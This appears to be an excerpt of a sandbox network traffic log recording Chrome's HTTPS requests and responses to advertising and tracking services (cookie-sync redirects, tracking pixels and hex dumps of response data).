2024-01-10 23:27:17 UTC	1300	IN	Data Raw: c7 24 e7 73 5c f3 b3 9f 78 9c 7a 9c d6 25 9d cb d1 3b 3f 4e 41 fb 2e ee c5 35 67 36 af 6c 50 37 8c d8 d8 7a d6 63 c7 3a dd b6 bd 79 79 6c ca c7 4f 88 85 82 24 40 81 d8 75 67 3d 71 e4 29 5b 40 9a 28 2d 9f ed a2 69 ec d7 0e 61 12 30 1c fd 8e 01 dc 83 5a cd 9f 05 e8 fa b6 8f 15 e2 25 fd ac 93 0c e2 5c 06 3e a4 57 5c f3 64 c9 1a 86 99 a5 46 6f a4 dd dd d9 b2 4b 68 de 08 8f 1c 84 0e 9f 2a dd f8 07 da 25 9d fe 8e 62 d5 e5 10 de db 80 18 9d fc 51 fc 40 52 0d d7 b3 6d 4a 63 20 d2 ae 61 b8 48 d7 e0 7f 75 87 f2 a0 d7 9c 31 af e9 0a a4 69 57 0b 8f fc d5 5e 6f d2 b9 f1 bc d8 5d d5 9a 36 3b cf 68 56 02 ea 35 b6 b6 b8 9a 2e 6c 34 98 e5 00 79 80 7a d5 dd 6b 8f 74 cd 39 60 fb 3f 35 db c9 bb 08 f6 e4 1e b9 ef e9 59 de 9f 0d 93 f0 f5 bd e5 fe ab 6b 6b 72 ca 44 90 bf ba ea Data Ascii: $s\xz%;?NA.5g6lP7zc:yylO$@ug=q)[@(-ia0Z%\>W\dFoKh*%bQ@RmJc aHu1iW^o]6;hV5.l4yzkt9`?5YkkrD
2024-01-10 23:27:17 UTC	1300	IN	Data Raw: bb b9 69 67 72 e4 fe 55 0c d2 6d 55 34 73 4a ac 82 f6 e0 41 f6 89 39 4b c0 f9 25 4f e4 69 75 5e ef 52 97 9a 19 49 1f ba 8b 26 30 3e 54 7b c4 1c ad 1c a3 28 46 05 71 63 1c 76 d1 b8 b2 60 8a db 31 18 27 ae f8 3d ab ab c7 9a db 7d 09 46 c8 63 d3 2e 2f 0c 51 dc 23 ab 8c 02 c0 0c 91 f4 a3 12 70 ec 30 94 8e 2b 79 c3 36 30 d2 2e 33 f4 ae ad 78 d6 2d 14 7d 92 de cd 2e 6f 59 cb 16 23 24 02 06 c4 fe 3f 8d 47 ad be a5 c4 b3 ac f7 5a 9b db e4 00 b0 42 30 14 63 cf 3b d7 4a 4d db e8 b4 31 4a 4f 41 cd 16 38 34 a9 f9 6e 46 15 5b 0c 53 66 20 ff 00 d5 da bc d7 75 5d 39 6e 1a 58 55 a3 40 77 2c 79 8e 3c 86 fb 9a 51 6e 0d d4 84 6c 61 ba 37 20 fe eb e4 13 f2 de 86 dd e8 57 da 72 65 79 a3 39 cf 2b 8e 9f cf f5 ac fc 70 9f b2 d2 c3 25 1a 68 d3 f4 8e 3b e1 f8 a3 e5 ba 79 51 15 73 Data Ascii: igrUmU4sJA9K%Oiu^RI&0>T{(Fqcv`1'=}Fc./Q#p0+y60.3x-}.oY#$?GZB0c;JM1JOA84nF[Sf u]9nXU@w,y<Qnla7 Wrey9+p%h;yQs
2024-01-10 23:27:17 UTC	1300	IN	Data Raw: 76 7a d7 af 77 69 16 aa 91 6a 91 20 e7 3e e5 ca 8c 1f 93 63 f5 ac ae 4b 6d 16 92 84 9e 99 77 86 cc f7 16 92 c1 7c 0e 54 65 43 76 a9 3d 99 da 1b ef 6a da 4a 20 ca c5 3b 48 58 79 28 27 3f a5 17 59 6c 89 55 b3 20 8e 5c 67 ce 8c fb 14 8a ca c7 da 03 44 b1 cb 25 d4 d0 3a f3 0f 86 2f de df e6 00 aa c1 90 ca b5 a3 54 e3 a1 8b ab 13 e8 68 cf 0c 9f fc 35 33 e6 68 47 1d ff 00 a8 b1 1e 86 8a 70 b9 ff 00 c3 87 ce b5 fd 47 3f a0 06 a9 ee f1 15 c7 fb 87 e9 4d da 61 ff 00 04 94 a5 ad 8f ff 00 50 4f eb 8f d2 9b 34 9f f4 08 6b 48 cb 28 eb 87 dc 8f 1f c5 55 ad be 21 56 35 d3 f7 71 ed fb d5 56 d8 e5 87 ce b4 02 9f b5 6d 58 d9 70 e6 a0 f1 ef 20 8c c1 18 f5 20 64 fe 60 7c b3 5f 91 f9 f1 6d 33 9f 88 be 77 f9 57 e8 7f 6d 97 85 f4 2b a2 bf 08 ba 31 80 0f 5c 73 13 b7 cc af e1 5f Data Ascii: vzwij >cKmw\|TeCv=jJ ;HXy('?YlU \gD%:/Th53hGpG?MaPO4kH(U!V5qVmXp d`\|_m3wWm+1\s_
2024-01-10 23:27:17 UTC	1300	IN	Data Raw: 88 ec 6e 6f 23 29 14 4a dc 8a 30 72 4f 9d 26 de f1 06 a5 7d 62 f6 b3 dd cb 24 32 30 66 0c d9 dc 1a 67 b0 e3 fd 43 4f 9e db f6 5a ac 36 50 22 a0 80 8c 86 03 ae 4f ad 3e a3 b1 aa a2 96 af c2 ba d5 ad d9 8e 6b 1b 87 39 c0 75 5c 83 f2 35 d6 91 c2 1a ae a1 73 c9 6d 6d 89 c2 96 11 b9 0a 5b 1e 59 ad 8a db 5c d5 38 8f 85 97 52 d1 ec 51 86 48 91 01 cb 2e 3a ed 43 38 4f 56 b8 69 9a e2 ed 62 e6 8d 59 16 6e 5c 14 cf 95 4e a1 1e c5 46 67 63 a1 dc a6 bf 6d 63 77 6f 25 b5 c1 90 29 47 18 a3 bc 53 a4 cd 15 c4 8f 62 64 55 88 90 55 0f 45 1e 94 cd ab dd b5 e6 b3 0d f0 2a df 67 3e e9 63 ef 35 09 d4 67 d4 57 59 69 2c a3 66 59 c6 4a e3 cf a8 ad e3 71 94 58 a8 a1 c3 16 76 da 82 3c 5a 94 f2 45 2c 64 32 92 36 65 ee 3e 75 b2 c7 ad 09 23 58 e1 30 7d 89 14 28 0a de f0 c5 67 76 3a 1d Data Ascii: no#)J0rO&}b$20fgCOZ6P"O>k9u\5smm[Y\8RQH.:C8OVibYn\NFgcmcwo%)GSbdUUE*g>c5gWYi,fYJqXv<ZE,d26e>u#X0}(gv:
2024-01-10 23:27:17 UTC	1300	IN	Data Raw: cb 56 65 68 dc 09 42 8c 92 a7 6c 8f 5c e2 a7 93 0d 7d a2 42 53 d6 cc ea d6 e2 59 61 b8 b5 b8 91 95 62 39 51 9e 95 77 47 9a f2 5d 36 52 97 20 0e 7c 46 00 03 02 95 b5 7b 1d 5a c6 ea 77 66 75 8a 71 ee b3 0e bf d2 8a 70 7d ef d8 6d 26 6d 52 d9 da c8 ae 7c 4e 5c 85 6a f2 b2 e1 c9 26 e9 d3 67 2d b4 c3 9a 90 97 c4 b4 bb bd 58 4a c4 7a 03 9e 6d bb d0 1d 42 18 6e 2f 61 fb 23 2c 25 d8 b1 08 c0 67 e9 54 2e f5 d4 bd 99 e3 88 49 ca 5b 08 a7 a5 1a d2 f8 7e dd 66 8a f2 68 d8 dc a2 e7 27 70 bf 2a 58 f1 e4 e2 be 49 5b 06 f9 74 47 c4 eb a7 43 a0 03 ca cd 7b d1 55 9b 01 b7 1f a5 7e 72 92 6e 6d 5a e8 a0 cf 33 33 01 f5 da b7 be 34 99 e4 b6 9c a0 25 52 32 43 60 75 e9 58 0e 98 bf f8 f8 86 46 c3 fb cb bf f1 57 a9 81 2a 67 5e 17 d0 5a de f2 2b 29 0c 16 d6 62 ee e0 fc 6c 7a ff 00 Data Ascii: VehBl\}BSYab9QwG]6R \|F{Zwfuqp}m&mR\|N\j&g-XJzmBn/a#,%gT.I[~fh'pXI[tGC{U~rnmZ334%R2C`uXFWg^Z+)blz
2024-01-10 23:27:17 UTC	1300	IN	Data Raw: fd 68 c7 37 17 a1 e4 c7 cd 24 c7 fe 38 b0 0d ec 8b 59 b7 90 09 0c 16 d0 b6 4f 9a e0 e7 f2 af ca 29 33 5b ca 79 49 c7 95 7e 85 d7 ef b5 ad 67 d9 72 c1 c3 a5 9a 10 86 3b a5 93 79 67 8d 7b 2e d8 fe bf 95 7e 7a 90 06 63 9e b5 df 8e 49 c4 f2 f2 63 70 95 30 82 eb 13 04 e5 46 20 74 af a3 9d ee 24 1c cc 4d 43 a7 c3 11 63 e2 75 5d f0 68 e6 91 63 36 a7 7a 2d f4 db 67 9a 63 b0 58 d7 3f 8f 95 37 2a 05 16 f6 c7 7f 67 5a ed b7 09 dc a6 a1 71 17 89 17 f9 6c 03 60 8e 6d b3 5f a1 b8 4f 8a 74 ad 56 ee 01 05 c0 49 25 f8 12 4d 8b 7c bb 1a c4 ad 3d 98 4c fc 37 7c da bd cf 24 c6 12 d1 43 11 cf 2b 81 95 e6 6f 9f 61 f8 d2 1d 86 a1 79 63 6f 1c 62 67 88 c4 df fb 58 1f f8 aa e2 71 92 a2 39 53 4e cf d7 1c 7b 1f 3c 76 78 fe 23 56 f8 5d 4a da c8 3d 45 7e 6d 9b da 96 bf 75 63 0d a5 dc Data Ascii: h7$8YO)3[yI~gr;yg{.~zcIcp0F t$MCcu]hc6z-gcX?7*gZql`m_OtVI%M\|=L7\|$C+oaycobgXq9SN{<vx#V]J=E~muc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
276	192.168.2.4	50039	34.200.65.202	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:16 UTC	1259	OUT	GET /ups/58824/sync?_origin=0&dpid=58267&ovsid=968062845637553879&redir=true HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; IDSYNC="19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z:18yj~2g3z"
2024-01-10 23:27:17 UTC	841	IN	HTTP/1.1 302 Found Date: Wed, 10 Jan 2024 23:27:17 GMT Content-Length: 0 Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC="19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z:18yj~2g3z";Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Thu, 09-Jan-2025 23:27:17 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Location: https://hb.yahoo.net/cksync?cs=63&axid_e=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ovsid=968062845637553879&dpid=58267 Age: 0 Connection: close Server: ATS/9.1.10.94 Set-Cookie: A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; Expires=Fri, 10 Jan 2025 05:27:17 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
277	192.168.2.4	50041	142.250.31.156	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:16 UTC	819	OUT	GET /pixel?cs=8&google_nid=media&google_cm=1&google_hm=MzQ3OTMwODMzMDE4MDIzOTAwMFYxMA%3D%3D&google_sc=1 HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: test_cookie=CheckForPermission
2024-01-10 23:27:17 UTC	983	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://cs.media.net/cksync?type=g&cs=8&google_gid=CAESEE-LbdqTsHKcksq6UKuBoDI&google_cver=1 Date: Wed, 10 Jan 2024 23:27:17 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 301 X-XSS-Protection: 0 Set-Cookie: IDE=AHWqTUlCDusljJC9zb3Oa9XYbfCQkZ3JL7YH2g9T3_iu5VLlNxCSCmx5LU9S1K3N4lo; expires=Fri, 09-Jan-2026 23:27:17 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Set-Cookie: test_cookie=; expires=Fri, 01-Aug-2008 22:45:55 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-10 23:27:17 UTC	269	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 63 73 2e 6d 65 64 69 61 2e 6e 65 74 2f 63 6b 73 79 6e 63 3f 74 79 70 65 3d 67 26 61 6d 70 3b 63 73 3d 38 26 61 6d 70 3b 67 6f 6f 67 6c 65 5f 67 69 64 3d 43 41 45 53 45 45 2d 4c 62 64 71 54 73 48 4b 63 6b 73 71 36 55 4b 75 42 6f 44 49 26 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://cs.media.net/cksync?type=g&cs=8&google_gid=CAESEE-LbdqTsHKcksq6UKuBoDI&
2024-01-10 23:27:17 UTC	32	IN	Data Raw: 72 3d 31 22 3e 68 65 72 65 3c 2f 41 3e 2e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: r=1">here</A>.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
278	192.168.2.4	50053	151.101.1.44	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:17 UTC	541	OUT	GET /sg/prebidJS/1/cm?gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=%5Bobject%20Object%5D HTTP/1.1 Host: trc.taboola.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: t_gid=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; t_pt_gid=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51
2024-01-10 23:27:17 UTC	972	IN	HTTP/1.1 200 OK Connection: close Server: nginx Set-Cookie: t_gid=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51;Version=1;Path=/;Domain=.taboola.com;Expires=Thu, 09-Jan-2025 23:27:17 GMT;Max-Age=31536000;Secure;SameSite=None Set-Cookie: t_pt_gid=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51;Version=1;Path=/;Domain=.taboola.com;Expires=Thu, 09-Jan-2025 23:27:17 GMT;Max-Age=31536000;Secure;SameSite=None;Partitioned Cache-Control: no-cache, no-store Pragma: no-cache P3P: policyref="http://trc.taboola.com/p3p.xml", CP="NOI DSP COR LAW NID CURa ADMa DEVa PSAa PSDa OUR BUS IND UNI COM NAV INT DEM" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true X-Fastly-to-NLB-rtt: 18525 Accept-Ranges: bytes Date: Wed, 10 Jan 2024 23:27:17 GMT Via: 1.1 varnish X-SERVICE-VERSION: v1 X-Served-By: cache-iad-kjyo7100109-IAD X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1704929237.186483,VS0,VE20 X-vcl-time-ms: 20 transfer-encoding: chunked
2024-01-10 23:27:17 UTC	4	IN	Data Raw: 32 62 0d 0a Data Ascii: 2b
2024-01-10 23:27:17 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 40 02 02 4c 01 00 3b Data Ascii: GIF89a!,@L;
2024-01-10 23:27:17 UTC	7	IN	Data Raw: 0d 0a 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
279	192.168.2.4	50043	69.166.1.67	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:17 UTC	731	OUT	GET /us?https://contextual.media.net/cksync.php?cs=8&vsid=3479308330180239000V10&type=son&refUrl=&vid=49292354493479308330180239000V10&axid_e=&ovsid=[UID] HTTP/1.1 Host: sync.go.sonobi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:17 UTC	860	IN	HTTP/1.1 302 Found date: Wed, 10 Jan 2024 23:27:17 GMT content-type: text/plain; charset=utf8 content-length: 0 expires: Sat, 26 Jul 1997 05:00:00 GMT cache-control: no-cache, no-store, private p3p: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" pragma: no-cache tcn: Choice vary: negotiate,Accept-Encoding x-go-server: go-iad-2-6-156 x-xss-protection: 0 location: https://contextual.media.net/cksync.php?cs=8&vsid=3479308330180239000V10&type=son&refUrl=&vid=49292354493479308330180239000V10&axid_e=&ovsid=34d855fd-fbdc-4f5b-9260-4fff223b8b66 set-cookie: __uis=34d855fd-fbdc-4f5b-9260-4fff223b8b66; expires=Fri, 09 Feb 2024 23:27:17 GMT; domain=.go.sonobi.com; path=/; secure; SameSite=None set-cookie: HAPLB8G=s86156\|ZZ8n2; path=/; domain=.go.sonobi.com; SameSite=none; Secure server: sonobi-go connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
280	192.168.2.4	50027	52.87.108.188	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:17 UTC	716	OUT	GET /cookie-sync/pm?gdpr=0&gdpr_consent= HTTP/1.1 Host: match.prod.bidr.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:17 UTC	388	IN	HTTP/1.1 303 See Other Date: Wed, 10 Jan 2024 23:27:17 GMT location: https://match.prod.bidr.io/cookie-sync/pm?gdpr=0&gdpr_consent=&_bee_ppp=1 Server: gunicorn set-cookie: checkForPermission=ok; Domain=bidr.io; expires=Wed, 10 Jan 2024 23:37:17 GMT; Path=/; SameSite=None; Secure strict-transport-security: max-age=2592000; includeSubDomains Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
281	192.168.2.4	50045	34.98.64.218	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:17 UTC	847	OUT	GET /w/1.0/cm?id=78e2dffc-bb89-4bb2-ae92-f592d006518b&ph=6a16560a-f6c6-4851-b7b5-0b2c0190166a&r=https%3A%2F%2Fcontextual.media.net%2Fcksync.html%3Fcs%3D8%26vsid%3D3479308330180239000V10%26type%3Dopx%26refUrl%3D%26vid%3D49292354493479308330180239000V10%26axid_e%3D%26ovsid%3D HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:17 UTC	716	IN	HTTP/1.1 302 Found Set-Cookie: i=adf1d594-3006-0faa-26e7-7fcb0b6d0f69\|1704929237; Version=1; Expires=Thu, 09-Jan-2025 23:27:17 GMT; Max-Age=31536000; Secure; Domain=.openx.net; Path=/; SameSite=None Server: OXGW/0.0.0 P3P: CP="CUR ADM OUR NOR STA NID" Location: https://us-u.openx.net/w/1.0/cm?cc=1&id=78e2dffc-bb89-4bb2-ae92-f592d006518b&ph=6a16560a-f6c6-4851-b7b5-0b2c0190166a&r=https%3A%2F%2Fcontextual.media.net%2Fcksync.html%3Fcs%3D8%26vsid%3D3479308330180239000V10%26type%3Dopx%26refUrl%3D%26vid%3D49292354493479308330180239000V10%26axid_e%3D%26ovsid%3D Date: Wed, 10 Jan 2024 23:27:17 GMT Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
282	192.168.2.4	50052	52.46.151.131	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:17 UTC	847	OUT	GET /dcm?pid=3b882453-6770-4785-baf8-a598533c054a&id=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&redir=true&gdpr=0&gdpr_consent=&dcc=t HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=AyjwvOXOUEBhiwCbt7I0SGw\|t
2024-01-10 23:27:17 UTC	807	IN	HTTP/1.1 200 OK Server: Server Date: Wed, 10 Jan 2024 23:27:17 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: 2DQRT6GE0Z8MYDEE8ZC9 Set-Cookie: ad-id=AyjwvOXOUEBhiwCbt7I0SGw; Domain=.amazon-adsystem.com; Expires=Tue, 01-Oct-2024 23:27:17 GMT; Path=/; Secure; HttpOnly; SameSite=None Set-Cookie: ad-privacy=0; Domain=.amazon-adsystem.com; Expires=Sun, 01-Apr-2029 23:27:17 GMT; Path=/; Secure; HttpOnly; SameSite=None Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: policyref="https://www.amazon.com/w3c/p3p.xml", CP="PSAo PSDo OUR SAM OTR DSP COR" Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-01-10 23:27:17 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
283	192.168.2.4	50049	74.119.119.150	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:17 UTC	781	OUT	GET /dis/usersync.aspx?r=115&p=226&cp=medianet&cu=1&gdpr=0&gdpr_consent=&us_privacy=&gpp=&gpp_sid=&url=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D1%26type%3Dcrt%26ovsid%3D%40%40CRITEO_USERID%40%40 HTTP/1.1 Host: dis.criteo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:17 UTC	701	IN	HTTP/1.1 302 Found content-length: 0 date: Wed, 10 Jan 2024 23:27:16 GMT server: Kestrel cache-control: no-cache expires: Wed, 10 Jan 2024 00:00:00 GMT location: https://contextual.media.net/cksync.php?cs=1&type=crt&ovsid=94a96463-4da4-468a-ab35-7f2fcadb375f&gdpr=0&gdpr_consent=&us_privacy=&gpp= pragma: no-cache set-cookie: uid=94a96463-4da4-468a-ab35-7f2fcadb375f; expires=Mon, 03 Feb 2025 23:27:16 GMT; domain=.criteo.com; path=/; secure; samesite=none x-errorlevel: 0 p3p: CP="NON DSP COR CURa PSA PSD OUR BUS NAV STA" cross-origin-resource-policy: cross-origin server-processing-duration-in-ticks: 1607618 strict-transport-security: max-age=31536000; preload; connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
284	192.168.2.4	50051	35.211.178.172	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
